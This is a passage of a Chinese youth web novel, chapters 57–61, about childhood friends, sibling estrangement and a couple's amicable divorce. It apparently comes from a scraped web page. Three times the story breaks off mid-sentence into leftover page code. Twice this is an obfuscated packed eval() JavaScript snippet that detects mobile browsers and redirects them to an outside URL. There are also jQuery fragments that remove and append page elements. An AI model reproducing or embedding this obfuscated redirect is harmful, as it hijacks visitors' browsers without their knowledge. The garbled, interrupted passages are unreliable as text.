徐澄月见他在笑,忽然反应过来,讲述中,这件事的起因是为他,她急忙找补,“我是帮阿敛出气,上次他受伤的账还没算!”余光瞥他,他慢慢收了笑,嘴角耷拉,汗湿的刘海干了,乖顺的垂在额间,衬得整个人更乖,像只淋了雨躲在屋檐下的小狗,朝过路行人投去湿漉漉沾着委屈的眼神,天然叫人心软,“行行行,也是帮你出气,赢就赢,干嘛那么瞧不起人。” 她是个嘴硬心软的姑娘,这个江韫北也很早就知道,“徐澄月,对不起。” 她以为自己听错,毕竟江少爷主动认错,百年难遇,“你说什么?” 歉道了,两人关系回暖,江韫北的傲娇又回来了,他揪揪她头发,说别装,肯定听到了。 他为前天莫名其妙对她甩脸道歉,即便本质是担忧,但担忧不该变成情绪。为对她突然的冷淡道歉,而冷淡的原因,他私心保留,只三言两语带过。 是他太过急躁,发小也没关系,比朋友更亲密的存在,他们的关系仍旧超过许多人,比如18班的胡烁。老话说的,近水楼台先得月,他拥有无限靠近她的特权,来日方长,反正他会一直在她身边。 “走吧,梁嘉和不是请我们吃饭?” “走!” 两人回教室拿书包,江韫北把自己的,她的,还有六瓶脉动,都背到身上。 “你买这么多做什么?” “我拿的时候那人正好进来,问老板娘有没有脉动。我就是这么幼稚!” “幼稚吗?那我会比你更幼稚。” “嗯哼?” “我会分给他们队友,然后假惺惺对他说,呀,分完了呢。”他学着她平时故意膈应人的语气。 徐澄月大笑。 她今天还是被岳清卓载来的,这会只能坐他的车。 “徐澄月,你最近是不是重了?”他憋红了脸,才骑出一段距离。 徐澄月一胳膊捅他后背,低头看,轮胎是瘪的,“笨蛋,你车爆胎了!” 江韫北一囧:“难怪早上那么难骑。” 只好走路过去。他推着车,走在她身侧,继续和她聊天。 “可以啊,足球都会踢了。” “耳濡目染什么的,你知道,我学习能力还不错。” “把你能的。” 身影一高一矮,慢慢走进晚霞里。 58. 第 58 章 和徐澄月和好后,江韫北火力全开,连赢两场,拿下联赛冠军。校级比赛,没参加的人也有荣与焉,对足球队那帮人的兴趣直线上升,教室、球场,每天都有人来观望。 而球队内部却对队长后两场打了鸡血似的状态好奇不已,忍不住背着他和方之敛打趣,“原来脉动的广告没骗人,真的脉动回来了!” 一场比赛喝掉三瓶脉动的人,去小卖部也热情推荐他们买脉动的人,不说还以为他收了人家广告费。 方之敛同他们打谜语:“让他脉动回来的,说不定是人?” 短暂的校运会后,校园重归平静,出圈放风的羊被重新赶回羊圈,三面墙,一扇篱笆,外形相似的其他羊。 11月初,又一次月考临近,学生们再次头悬梁锥刺股,主科选择性听,用堆叠的书和同学的脑袋当挡板,文科当自习课用,体育当答疑课用。 最后一节晚自习,徐澄月从办公室出来,在走廊遇上胡烁。对方专程等她,向她请教物理小测的题。徐澄月解答完,顺便看了眼他的卷面,之前和他讲过的题目基本都对了,有些稍微变形也能答出来,她赞许地点头,比江韫北聪明多了。 “总不能让你白讲。”胡烁羞涩垂眸,不枉一个个熬过的夜,“对了,这个给你。” 一支祛疤膏,她手上伤口结的痂应该脱落得差不多,现在用祛疤膏刚好。 “你不是住校吗?怎么有时间买这个?”同样的祛疤膏她已经有一支了,江韫北给的。 胡烁些许失落,“回家买的,你总给我讲题,我也不知道怎么谢你,还是留着吧,可能要两支才能涂好。” “都是同学,互相帮助应该的,那就谢谢啦。”她接过祛疤膏,下一秒校服后领被提溜起来,那手贴了一下她后脖,冰块一样,“嘶,谁啊!” “我,你好朋友,你发小,你青梅竹马!”江韫北把人提到自己身后,随意和人打了声招呼,“快下课了,赶紧收拾东西回家。” 她被他提进去,只得拧着身体和胡烁说再见。 朝城是个秋天很短的城市,11月,风开始有冬天的温度。 长袖校服拉链拉到顶,下巴缩进衣领里,声音穿过一层布料,被风又过滤一层,闷得像挨了一拳。进入秋冬,他们总是这样边骑车边说话,时而声音小了,要扬起嗓子大嚷一遍。曾经徐澄月一展歌喉,一声高音,让路边经久不灭的路灯破裂,此后被剥夺终生在这条路上唱歌及大声说话的权力。 所以此刻她只能骑到俞麒身旁,将问题再问一遍。 “抱歉,我没听到。”俞麒回神,说:“月中吧,月中就可以知道成绩了。” “是吗,俞叔说,等你出成绩了他再回来一趟,请大家吃饭给你庆祝。” 俞麒收回落在她身上的目光,自嘲地笑,“说不定没考好呢?白回来一趟。” 徐澄月觉得他这个想法不对,一板一眼“教育”他,“怎么会考不好,你可是朝城省赛第一,干嘛先灭自己气势。就算这次没发挥好,不还有明年吗,你要还喜欢可以接着考得嘛。还有,什么叫白回来一趟,一定要有什么大事俞叔才能回来吗,他回来看妻子孩子,天经地义。” “是吗?”确实天经地义,但也确实,每次只有他认为需要回来的时候,才会回来,比如逢年过节,比如妈妈的要求,比如他的成绩,比如俞麟的身体。 他好像,从来没有为俞麒这个人回来过。 “俞麒,俞麒,你怎么了?”灯光微暗,徐澄月看见他渐变的脸色。 “没事。我有点累,先骑快点回去。”他拉下校服拉链,加快速度骑进前面黑暗。 徐澄月察觉到问题,问其他好友,俞麒从考完试回来就不太对劲。 江韫北看着他的身影变成一个黑点,猜测:“难不成是考得不理想?” 方之敛不这么觉得:“成绩一向不会影响他的心情。” 岳清卓不赞同:“那可不一定,这毕竟是国赛,关系到以后保送。” “而且啊,”徐澄月补充:“俞麟和我说,这几天俞麒不怎么回复他消息。” 江韫北:“完了,八成是了,他那么疼俞麟,连消息都不回。” 不清楚是不是,他们不好向他求证,也不怎么在他面前提起竞赛的事,静观其变。 另一端俞麟却坐不住了,逃了一晚训练回家。门打开就火急火燎喊哥,而他心心念念的哥哥,正和其他朋友埋头学习。 俞妈对小儿子的突然出现十分开心,得到小儿子问候,她开心地去给他们准备宵夜。 伙伴们见到他也很高兴,纷拥上来问他的近况,和他拥抱,而他的哥哥,只站在茶几后,面色冷淡地看着他们的开心。 俞麟松开伙伴,还没正式和他打招呼,被他一句话问倒。 “这个时间,你不是应该在训练吗?” 冷淡转为严肃,他拘谨地放下书包,嗫嚅解释:“我和教练请了一晚假,回来看看你。” 在几次比赛崭露头角后,他收到省队抛出的橄榄枝,只要通过明年三月份的选拔考试,就能进入省队训练。十分可贵的机会,冉教练为一举将他送进省队,对他的要求愈渐变高,几乎把他学习外所有的时间排满,这是他这学期第二次回家。 “我有什么好看的?”俞麒不太理解。 “你没回我信息,我有点担心。” “俞麟,我们不是小孩了,没回信息也不是什么大事,犯得着跑回来一趟吗?” 路上期待见面的雀跃被他的冷淡浇灭,俞麟垂着脑袋,不说话。 江韫北上前把他搂住,不满地斜睨俞麒,“干嘛那么凶,他难道除了训练,什么都不能做了?不就回趟家吗,他那么辛苦还不能回家吃点好的。”胳膊被身边的人碰了碰,他愈发不满,“我帮你教训他呢,你别插话。” 俞麒沉默走回自己的位置坐下。 俞麟挣开江韫北的手,拿上书包,“既然没什么事,我还是回学校吧,明天还要训练。”他有些伤心,不知道为什么哥哥的态度那么冷淡,不顾伙伴们的挽留,鞋没穿好就拉开门,想起来什么,他把门关上,鞋子放回去,闷闷道:“没公车了,我明天再回。” 委屈又傻憨的模样,惹人心疼又想笑,江韫北把人带去厨房找俞妈,偷偷回头用眼神示意俞麒收敛点。 徐澄月也疑惑他对俞麟的态度,不能说反常,他平时对俞麟就很严格,但今天的严格,好像少了点关心,她坐到他身边,戳戳他胳膊,问他怎么了? 俞麒说:“没事,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666472|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心他偷懒。” 俞妈用大骨汤给他们每人下了碗馄饨,俞麟许久没吃家里的饭菜,一碗不够,最后直接端锅。吃完他和许久未见的朋友们聊了会天,送他们下楼回来,瞧见俞麒在厨房洗碗。他往厨房方向抬了抬脚,犹豫许久,转身回了自己房间。 房间还是他走前的模样,包括他放在书桌上,最新一次比赛的奖杯,他给俞麒的考前礼物。他特地发短信说过,他没有来拿,也没有看过,不然它现在会和他第一个奖杯一样,摆在哥哥的书桌上。 他又做错什么事让哥哥生气了吗?俞麟盯着奖杯陷入沉思。 他从小就是个调皮捣蛋的,或许为报复五岁前羸弱不堪的身体,重获健康后,疯狂地用大大小小的游戏,反复确证自己掌握着自己的身体。也因此时常闯祸,不仅需要哥哥收拾烂摊子,还连累他被父母责怪。每次他一惹事,哥哥就会教育他,挨几句骂,被惩罚练字写题,都是小事,他最怕哥哥不理他。 长大后,他逐渐发现父母对他的优待和对哥哥的忽视,于是慢慢收敛了玩性,在他允许的范围内玩闹。他已经很久没像今晚这样,直面哥哥的冷漠,就是当年摔了腿,他也只是生气教训他。 他不知道为什么突然变成这样。 也或许不是突然,那些不被回复的短信已经可以说明,只是他没有察觉。 就像人们不会看到水滴穿石的过程,只能看见,最后破洞的石头。 他不是个能藏住话的人,也不知道下一趟回来是什么时候,他拎着奖杯,去到隔壁,敲响俞麒的门。 俞麒擦着湿发来开,“还不洗漱睡觉?” 俞麒敷衍过去,小心翼翼地问:“哥,我送你的考试礼物,你怎么没拿啊?” 俞麒动作不停,语气淡得像寡淡白水,“忘了。” “比赛完回来,也忘了吗?” 怕吵到俞妈,俞麒把人拉进来,兄弟俩站在书桌旁,台上置物柜摆着俞麟的奖杯。俞麒的视线在奖杯上停留片刻,开口:“俞麟,你不需要把你的奖杯给我,这条路是你自己选的,你为自己负责就好了,不需要获取其他人的肯定,包括我。” 俞麟心里一咯噔,嘴上装傻,“哥,你说什么呢,你是兄弟,是家人,我当然需要来自家人的肯定。” 俞麒不说话,定定看着他。 俞麟躲避他的眼神,继续道:“对了哥,我教练说我通过省队选拔考试的可能性很大,要是过了,就得去那边训练,没上大学就离开家,我还有点不舍,你说我要不要去省队啊,还是留在这好好跑,考大学什么的……” “俞麟。”俞麒打断他,“再有一年多你就成年了,要学会自己为自己思考,不要老想着依赖别人,让别人帮你解决麻烦,拿主意,不要随心所欲,成为别人的负担。每个人都是独立的个体,有每个人的路要走,我不能时时刻刻陪在你身边告诉你该怎么做,也没心力去应付。虽然我们是兄弟,但总有一天,要各走各的路。” “不早了,去洗漱睡觉吧。” 他不敢去看弟弟受伤的神情,怕像小时候一样,他一瘪嘴,再大的气他也消了。一直以来,他为那些付出过许多,但现在他不想继续了。 他放下毛巾,出去倒水,回来时,俞麟已经走了。 59. 第 59 章 徐澄月在学校天台找到俞麒。 他站在围墙前,双手背在身后,站得笔直,目视前方。前方是朗朗晴空,和高一教学楼。 倒不是她一路找寻胡思乱想的情况,但她还是蹑手蹑脚靠近,猛一捉住他的小臂,用力将人往后拉。两人双双倒地。 双重惊吓让俞麒懵住,愣愣地看徐澄月几秒,她脸上掩不去的担忧,他绷不住笑出来,“我只是上来吹吹风。” 徐澄月猜到了,但十几分钟前还不知道,提心吊胆的,忍不住抱怨:“楼下不能吹嘛?你不知道,天台可是学生的禁地!” 俞麒“嗯”一声,拍掉身上灰尘,拉她起来,“找我做什么?” 徐澄月先发消息给其他人,和他并肩站到围墙边上,下意识的,伸手搭在他面前的围墙,“还说呢,最后一节课跑没影,阿敛到处找不着你,吓坏了。” 国赛成绩出来,他遗憾落榜,方之敛担心他,一直盯着,谁知道去了趟办公室,回来找不到人,焦急让他们一块找。 俞麒面露愧意,“抱歉,我以为没多久。” 徐澄月歪头打趣他,“学霸的时间走得比较慢吗?” “如果真的有,那我倒也愿意。吃饭去吧,晚一点韫北又要给我们开小灶了。” 徐澄月走在他后面,进楼道,顺手将门带上,使劲拉紧,让它死死卡在门框里。 高二教学楼在中间,离南北两面的食堂一样远,南面食堂供应大多数是当地菜,他们惯常去北面食堂,菜系多样,每人打一道,可以吃到六个地方的特色菜。 去北面食堂要穿过一条林荫道,种了几棵百香果树,每次一走近,无论结不结果,总能闻到一股香味。百香果的味道和鸡蛋果相似,徐澄月每次经过,都觉得像回到阿爷家。 一提起阿爷,她总是兴奋的,从鸡蛋果说到阿爷一身过人的活计,说到他地里的各种庄稼伙伴,说到云水村,说到那里的一事一物。 “这周回去吧?回去看阿爷。”俞麒提议。 “好啊,我想阿爷了,也想他做的酱肘子!” 俞麒盯着她垂涎欲滴的脸笑,“是想酱肘子多点吧?” 吃饭时告诉其他几人,江韫北塞着东西,声音含糊,问他怎么不等大人们?江爸江妈这周回来,专程为俞麒竞赛结果回来的俞爸,也是在这周。 话说一半,脚被人狠狠碾了一下,他怒目圆睁,始作俑者瞪着他,他意识到自己嘴快,连忙改口:“我们先回,不管他们。” 周五不用上晚自习,回到云水村是傍晚。冬天,天黑得早,灯影徐徐中,阿爷照旧等在车站接他们。 提前告知过阿爷,阿爷捣腾了一桌吃的。 徐澄月指名要的酱肘子煨在砂锅里,软糯喷香,江韫北把她的书包丢在砂锅前的板凳上。 吃过帮阿爷收拾好,徐澄月又找不见俞麒,屋里屋外进出好几趟,遍寻不得,最后屋檐上传来他含笑的声音。 徐澄月双手插腰,仰头觑他,“啧,听到了不应我,故意的吧?”她顺着一旁的木梯爬上去,奇怪道:“你今天怎么老爱往高处跑?” 俞麒下巴微扬,“看星星,好久没看到这么亮的天空了。” 市里高楼渐起,能看到的,也就楼与楼框出来的方寸天地。他们是看过开阔天空,满天星斗的人,从窗子里望出去的边角零星,索然无味。一回到熟悉的环境,身体里望天踩地的自由因子自发产生反应。 徐澄月学着他躺下去,瓦片铺砌的房顶有些硬,幸好穿得厚,充当层隔垫。星辰入了眼,她的眼睛闪亮。 其余三人顺势找到他们,江韫北照旧一顿啰嗦,但也没阻拦,躺在她身边,紧紧拽着她衣服。 为降低屋顶的承受力,几人都翘起一条腿,搁在另一边膝盖上,伴随几下晃动,格外滑稽,却横生美好。 江韫北非要煞风景,“一个人躺在这是闲情雅致,五个人就是一窝傻子。” “傻孩子们!”阿爷酒后中气十足的嗓音足以与北风较高低,“你们加起来都有两头猪重了,再给屋顶坐塌了,快下来,进屋喝茶去,倒霉孩子。” 几人灰溜溜,排队下房顶,回屋喝茶。 阿爷收起一个茶杯,冲一盅一人倒一杯,“俞麒,俞麟这阵都没回来吗?好长时间没见他了。” 俞麒捏着茶杯,吹散热气,“嗯。” “这小子,属他最爱玩,没想到现在能沉下心。”阿爷倒一圈白水洗茶杯,“他最近还有什么比赛吗,训练这么紧?” 有什么比赛?俞麒不知道,上一次两人不欢而散后,他没回过家,他没接过他的新消息,六人群里他也极少出现过,不知道私下有没有和他们联系。这是他们兄弟俩十几年来,最长时间的断联。 “他明年要去参加省队选拔,还有一场比赛要准备,是挺紧呢。”见俞麒沉默,徐澄月将知道的情况说出。 “那你们可得叮嘱他,劳逸结合,别练太猛,还有腿,也要注意,别伤着……” 俞麒在阿爷絮絮叨叨的牵挂里,沉默不语。 第二天,几位大人也回来了。 江韫北许久未见父母,特地等在鸡蛋果树下,哪知车里出来只有江妈,不禁皱眉,问江老板去哪了。 江妈戳他脑门斥他没大没小,说生意伙伴介绍了个大单,去香港和人谈了。 江韫北不满抱怨:“告诉江老板,钱挣够就行,老子儿子不要啦!再不回来看我阿爷揍他!” 江妈瞪他,其他几位阿姨顺着玩笑道:“小北话粗理不粗,叫老江歇歇,别太拼。” 江妈无奈,“劝了,不听,也不知是上瘾了还是被下蛊了,就是不肯歇歇。” 江韫北决定晚上打个电话给他,好好聊聊这个话题。 “对了,俞叔呢?” 俞妈从后面走上来,“去接俞麟了。” 大人照常在客厅喝茶聊天,江韫北领着几人上楼。打了两局游戏,房门被推开,俞麟回来了。 江韫北丢下游戏手柄冲上前,抱着人转两圈,要他赶紧来玩新买的游戏。 俞麟高兴点头,和方之敛岳清卓打过招呼,视线落在俞麒身上,他只淡淡说一句“回来了”,没等他回应,他就继续埋头手中的题。他低头苦笑,放好背包,越过他坐到江韫北身边。 “澄澄呢?”楼下也没见她人。 江韫北说:“去丁爷爷家了,下周要交那个木雕,她请外援去了。” 玩了半个下午,被方之敛揪去学习,江韫北对着习题集惆怅叹气,无比羡慕躺在床上看闲书的俞麟。 “还分心?”方之敛敲他脑袋,“澄澄可是说最近你们隔壁班那位胡同学,物理进步不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702891|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “谁和他比啊?谁没进步?半步也是步!”江韫北不大高兴地把笔帽往下摁。 俞麟没有眼力见儿地从床上探出半个身体,“谁是胡同学啊?” “一个不被物理待见的人。” 俞麟皱眉,“那不是你吗?” 一个笔帽“咻”地飞过来,他躲闪及时,护住脑门。 方之敛站在他身后偷笑,不一会被他招过去。 “这个,再给我讲一遍,又错了徐澄月要发飙的。” 日落西山,大人们喊吃饭,江韫北才停笔,走出房间,给缺氧晕乎的大脑深呼几口新鲜空气。 下去帮忙布桌端菜,没看到徐澄月,知道她大概又忘了时间,回房拿了条围巾,骑车去接她。半道遇上,他耍帅,演了一招甩尾,将车横在她面前,“还记得回家呢,上来。”围巾也丢给她捂手捂脸。 “今天没戳着手吧?”她这次的木雕做得精细,一些纹路痕迹需要刻刀细细地刻,时常划伤手,最严重的一次,左手五根手指都贴了创可贴。 徐澄月看着留有疤痕的手,有些心疼,但疤痕变成受丁爷爷夸赞的作品,她觉得很值。 “你不心疼,我还心疼呢。”江韫北小声嘀咕,被风吹散,“没什么,回家吃饭。” 回家,饭桌都布好了,就等他们俩。 徐澄月把东西放在茶几上,坐到俞麟身边。两人又是一阵没见,脑袋挨着脑袋边说边吃,笑声不断。半晌,中间被强插进来一只手,将他们锯开。 “再不吃饭都凉了!”江韫北不知何时坐到他们身后,一人瞪一眼,“老鼠似的,叽叽喳喳。”小锅冷掉的海鲜汤,他重新热好,倒进徐澄月碗里,“快吃,吃完烤红薯去。” 徐澄月喝着汤同俞麟吐槽,“他像个啰嗦的老太太。” “就是就是。” 知道他们回来肯定要烤,炭炉早在刚入冬就被阿爷拿出来,搁置在天井一角。江韫北熟练地将炭、番薯、纸屑依次丢进去,不到一分钟,火燃起来。他们围坐成圈,一面取火,一面陪俞麟回看选秀节目的总决赛。 屏幕上背着吉他的人手被高高举起,徐澄月再次得意,“看,我就说他会夺冠,俞麒和江韫北还不信,幸好没和我打赌,不然现在裤衩都不剩!” 两个裤衩差点不剩的人不敢言语。 音乐重播,混着炭火的噼啪声和客厅大人间或高昂的谈话声。 俞麟在听徐澄月讲他们当初的冠军押宝争辩,说到俞麒也参与,他惊讶,印象里哥哥并不喜欢这些。他偷偷瞄他一眼,他正弯腰加炭,红色火光在他半边脸上跳跃。蓦地,他抬头,视线相撞,他不自在地别开眼,俞麟沮丧叹气。 番薯快烤熟时,客厅里的声音突然激烈起来。他们好奇张望,只听“砰”一声,是桌子倒地声。 他们匆匆跑进去,阿爷和江爸扶着两颊酡红,脚步虚浮的俞爸。俞妈跟在后面托着,大声呵斥:“别在这耍酒疯!” 随后大人越过他们,将俞爸架出去。俞麒俞麟连忙跟上。 醉酒胡言还在继续。 徐、江、方、岳四人目瞪口呆,无措地站在原地,像在风里冷掉的炭。直到折返回来拿蜂蜜的徐妈喊他们,才回神。 徐澄月拉住母亲的胳膊,疑惑地问:“妈,俞叔屏姨为什么要离婚啊?” 60. 第 60 章 徐妈说:不是每段婚姻都像童话故事结尾,一家人幸福生活。也不是每对夫妻都有从一而终的缘分。 徐澄月不太理解,身边没有太多离婚的例子,她以为的离婚,是像小菀姑姑那种,男方家暴,或是影视剧里演的某一方出轨。而她印象里,俞家叔叔阿姨一直很和睦,在他们这个家庭以男人为主导的地方,俞叔给了屏姨绝对的掌控权,有时候会从一些邻居阿姨眼里看到羡慕,但这样令人羡慕的婚姻,也会破裂吗? 又或许是像小菀姑姑那样,明面和气,背地里却深受丈夫欺压?总归是有外人不了解的原因,所以在阿嬷发表评论时,她回了几句,挨了一次骂。 但现在她更担忧俞麒俞麟,突如其来的消息,没有任何预兆,他们估计无法接受。 “也要明天见到他们才能安慰了。”江韫北清扫完客厅,拎着东西的“残肢”和徐澄月上楼,“先想想这个怎么抢救吧?” 徐澄月趴在桌上,沮丧地望着被摔断的向日葵——她的参赛作品,先前他们推搡,碰倒桌子时摔掉的。她这回做的,是合在一起的两样东西。一本摊开的书,书页里生出一朵弯曲,向上昂扬的向日葵,书和向日葵由向日葵的茎连接,茎有些细,这才一摔就断。 距离比赛截至日期只有一周,没时间做新的。而且,这也是她学木雕至今做的最满意的一个作品,她心疼得不行。 “要么粘一下?”江韫北找来胶水,比划着从哪粘合适,但向日葵的茎太细,粘上了也难以支撑上面沉坠的花。 徐澄月叹口气,“会有痕迹。” 这个确实无法避免,粘得再好也看得出断痕,“还是试一下吧,我小心点。” 黑豆一样大的断口,江韫北不知从何下手。他调整好坐姿,伸张手指放松,左手拿向日葵的茎,右手拿胶水,俯首,屏息凝神,眼睛如同鹰盯猎物般紧盯着,右手控制力度滴下一滴,立马取起另一半按上去。 有预感粘的不会好看,他给徐澄月打预防针,开始胡乱扯:“我觉得有痕迹也是好事,你看,你这个作品的意象是,每一个普通学生,从书本里获取营养,成长,最后开花绽放,但是成长的过程不是一帆风顺的啊,会有磕碰,有破碎,有跌倒,这才一步一步开出花来嘛。那句话怎么说来着,哭过笑过跌倒过站起来过,才叫青春嘛。”他停下来,捏着断口,心虚地瞟她。 她像是沉思,又像没听进去他的胡扯在沉默哀伤,江韫北搜肠刮肚,存的那点墨水通通找出来,准备再接再厉,下一秒眼前一黑,面前的人一个猛劲扑上来,他被扑得后仰,右手撑住地面才承住这波冲击。 “江狗,你太棒了!我怎么没想到呢!” 她双手挂在他脖子上,哄烤鸽似的左右晃动,激动难抑的声音在他耳边乍开,像一朵突然闯进夜空的烟花,肆无忌惮地绽放,五彩斑斓,搅动整个云层,而后倏地消失,留下几缕灰烟。天空有些埋怨她来去飞快,却更加期待,她再次闯进来,闯进那朵停在心脏处的云。 “可以再做个卡槽,把这里固定住,然后卡槽旁边还可以有些小刺,因为有刺,所以才会受伤,才会断裂,但是他们找到疗伤的办法,避开刺,继续往上长!江韫北,你点醒我了!” 她兴致勃勃在他的突发奇想上开枝散叶,而他,是被惊吓到却恋恋不舍的天空,是被搅乱了由澄净变得浑浊却贪婪想着能不能再浑浊一点的云层。 但天空和云层都不能让她看见,他想让那个拥抱如纸船,过水无痕,自然而然。他紧紧抿着唇,脖子用力两边转,像做操时忽然看到主任巡逻而不得不做好的刻意,手上也更加用力捏着向日葵的茎。 “江韫北,你怎么了?”徐澄月发现自己兴冲冲说了半天,没得到任何回复。 “没、没什么。”脖子宛如上了石膏,转回来更加僵硬,“不是,不是说我棒吗,怎么还叫我江狗。” “好好好,江韫北,江少爷,散财童子,好了吧?咦,你脸怎么这么红?”徐澄月凑近去看,他的脸红得像今晚醉酒的俞叔,拨开他的刘海,耳尖也红如晚阳,“病了?” “没有!”他突然高声,拍掉她的手,背猛一挺,扯到筋,一下酸疼,“徐澄月,你、你先后退。” “做什么?”徐澄月不听,反前进。 他突然发觉脑袋有些晕乎,像感冒初来,像中暑尾段,不难受,反而沉迷,他担心会放任自己晕过去,扶着腰背挪远,“没什么,我有点热。” “哦,那我去开窗。” 窗开了,正对他,风含冰一样吹过后脖子,冷得清醒,不禁哆嗦一下,被她瞧见,问又冷了? 他摇头,再吹会吧,不然真该晕了。 她坐回去,继续刚刚的话题,“你觉得我的想法怎么样?” 他一本正经道:“很好,徐澄月,不愧是我从小就押宝的木雕师!” 她信心高涨,决定晚上回去熬夜赶工,“还我吧,我回去弄。” “哦好。” 怎么还?还不了,胶水连同向日葵的茎和他的手指,一起黏住了。 * 俞家这个早晨出奇安静,一家四口都起来了,但没人说话。 以往俞爸俞妈会拌嘴,俞麟会上蹿下跳,俞麒安静看着,偶尔出声提醒弟弟。但今天,俞爸宿醉后在喝醒酒茶,俞妈在厨房忙活早餐,俞麟沉默地摆碗筷,俞麒在房间刷题。 好似默契地试图让昨晚的事在安静中彻底销声匿迹。 可惜没办法,被压太久的东西,出现时往往更加来势汹汹。 早饭后,俞妈让他们留下,每人倒了杯水,说要与他们谈很久的话。 第一件事是他们离婚。 钟屏想了很久,该怎么告诉她的孩子们这件事。并非是他们哪一方对感情不忠或暴力伤害对方,也并非经济原因,他们是商议好,和平分开。 外人看来,他们的婚姻和谐完美,但她知道,她不愿意再继续下去了。 丈夫经常评价她是彻彻底底的理工生思维,一直将学习、工作中对数据、公式的偏执带到生活,一直试图寻找任何事情的最优解。她确实是,但不完全是。学术和工作要求数据操纵者的冷静和理智,但感情需要理智外的冲动,她也一直 () { $(''.inform'').remove(); $(''#content'').append('' 清楚。 她为这段婚姻冲动过许多回,当年放弃深造留在他身边,在事业高升时选择回归家庭孕育孩子,支持他的工作独自带孩子回朝城,料理家中一切让他安心在国外。她并不抱怨或后悔做的一切选择,那是为了爱,但她无法接受,他将这一切视作婚姻中一方理所当然的付出。 她是为了爱才愿意付出,但她渐渐发现,当初那份不管不顾要在一起的爱,早被时间稀释,和着柴米油盐,一点一点吞咽下肚。她尝试过抢救,可惜长久的两地分居,不同的生活观念和教育理念,却成了催化剂。而开始稀释它的人,竟用社会标榜的那一套家庭契约关系和对女性长久以来苛刻到令人发指的所谓准则来做托辞。 婚姻是契约吗? 她可以认同,但认同的前提是双方足够的感情和对彼此的尊重。 现在两样都没了,那这场婚姻也没必要再继续下去。 她不知道孩子们能不能懂,或许他们会觉得她自私,外人也会戳着她脊梁骨说她没责任心,但她需要自私,她不想余下的人生被耗在这场麻木,连大暴雨都救不活的干瘪的婚姻里,她得先是自己,才能是他们的母亲。 “结婚是一种生活方式,我愿意和你们爸爸一起生活,一起面对任何事情,但人的意愿是会因为周遭环境,所经历的事情发生变化,我变了,你们爸爸也变了,这些变化告诉我们,我们已经不适合以夫妻的身份继续生活在一起。所以我们选择离婚,离婚也是一种生活方式。我们从夫妻变成亲人、朋友,各自寻找舒服的方式生活,可是无论怎么样变,我们都是你们的父母,对你们的爱不会变。但这个决定对你们造成的影响,我们还是要和你们道歉。” 钟屏看着伤心的小儿子,冷静的大儿子,心酸难忍,但她不得不这样,“俞麒俞麟,你们能听懂妈妈的话吗?” 俞麒点头。 俞麟问:“爸爸呢,也是这么想?” 俞澍点头,“我已经和你们妈妈谈过很久了,这是我们觉得对彼此,对你们,对这个家,最好的结果。” 俞麟泫然欲泣:“非分开不可吗?没有吵架没有家暴没有对不起对方,也需要离婚吗……” 俞麒扯住他的手,制止弟弟后面的话,“你去和澄澄摘几个鸡蛋果,爸的醒酒茶喝完了。” 俞麟看他片刻,点头,他对哥哥仍旧有天然的信任。 俞麒送他出门,返回,将凉透的水一饮而尽,“妈,你刚说的,我听懂了,我理解你,也支持你的决定。但,关于我和俞麟的归属问题……” 他想起那天晚上,一门之隔,听到的争论。 “我现阶段工作还是比较忙,带俞麟去没办法很好照顾他,他小时候身体不好,我不敢再冒险,况且他现在的训练已经步入正轨,坚持下去迟早有成就,留在你身边,我更放心。俞麒独立,也比俞麟聪明省事,他喜欢物理,去美国读物理对他更有帮助,他跟我走。” 俞麒闭了闭眼,深呼吸,攥紧拳头,一次次徘徊在嘴边一次次被他咽下去的话,终于不再被掩藏:“这一次,你们能不能,先考虑一下我?” 61. 第 61 章 清卓之前说过,他们是可以和父母说不的。 俞麒也曾反抗过,他也不是一开始就乖顺懂事的。 那时俞麟出院不久,整天被父母勒令静养,不许轻易走动,更不许玩闹。有一回饭后散步,俞麟坐在公园的石椅上,羡慕地看着在草地上打滚嬉戏的小朋友,许久许久过去,他小声喊哥,说他也想玩,不是试探,也没有请求,只是一种自然流淌的渴望。俞麒不忍心,带他去草坪上玩了会捉迷藏,短短十分钟,他尝试奔跑,尝试打滚,学会喘息,学会大笑,后来回想,俞麒想,那才应该是俞麟生命真正的开始。 当天晚上,俞麟高烧,再次入院。母亲忙得分身乏术,父亲紧张之余责怪他,为什么不看好弟弟,为什么要让弟弟玩那些危险的游戏,为什么没有一点哥哥的样? 他顶着一周不退的流感解释,他不是没看好弟弟,只是想让弟弟开心。 俞麟自出生就常与医院为伴,他看了太久病房的天花板,他想让他看看草,看看天空,看看他不在病床的样子。他心疼弟弟。 可惜父亲始终认为他做错。 病痛与责怪之下,俞麒伤心欲绝,哭喊着为什么他一定要看好弟弟,为什么他和俞麟同岁却一直要他照顾弟弟,为什么同样生病了他得不到安慰却告诉他要坚强。 父亲那时大抵是有些动容的,但最后还是对他说:你是哥哥。 所有的懂事,都是由无数委屈和失望攒起来的。慢慢的,他学着沉默,不再问为什么。 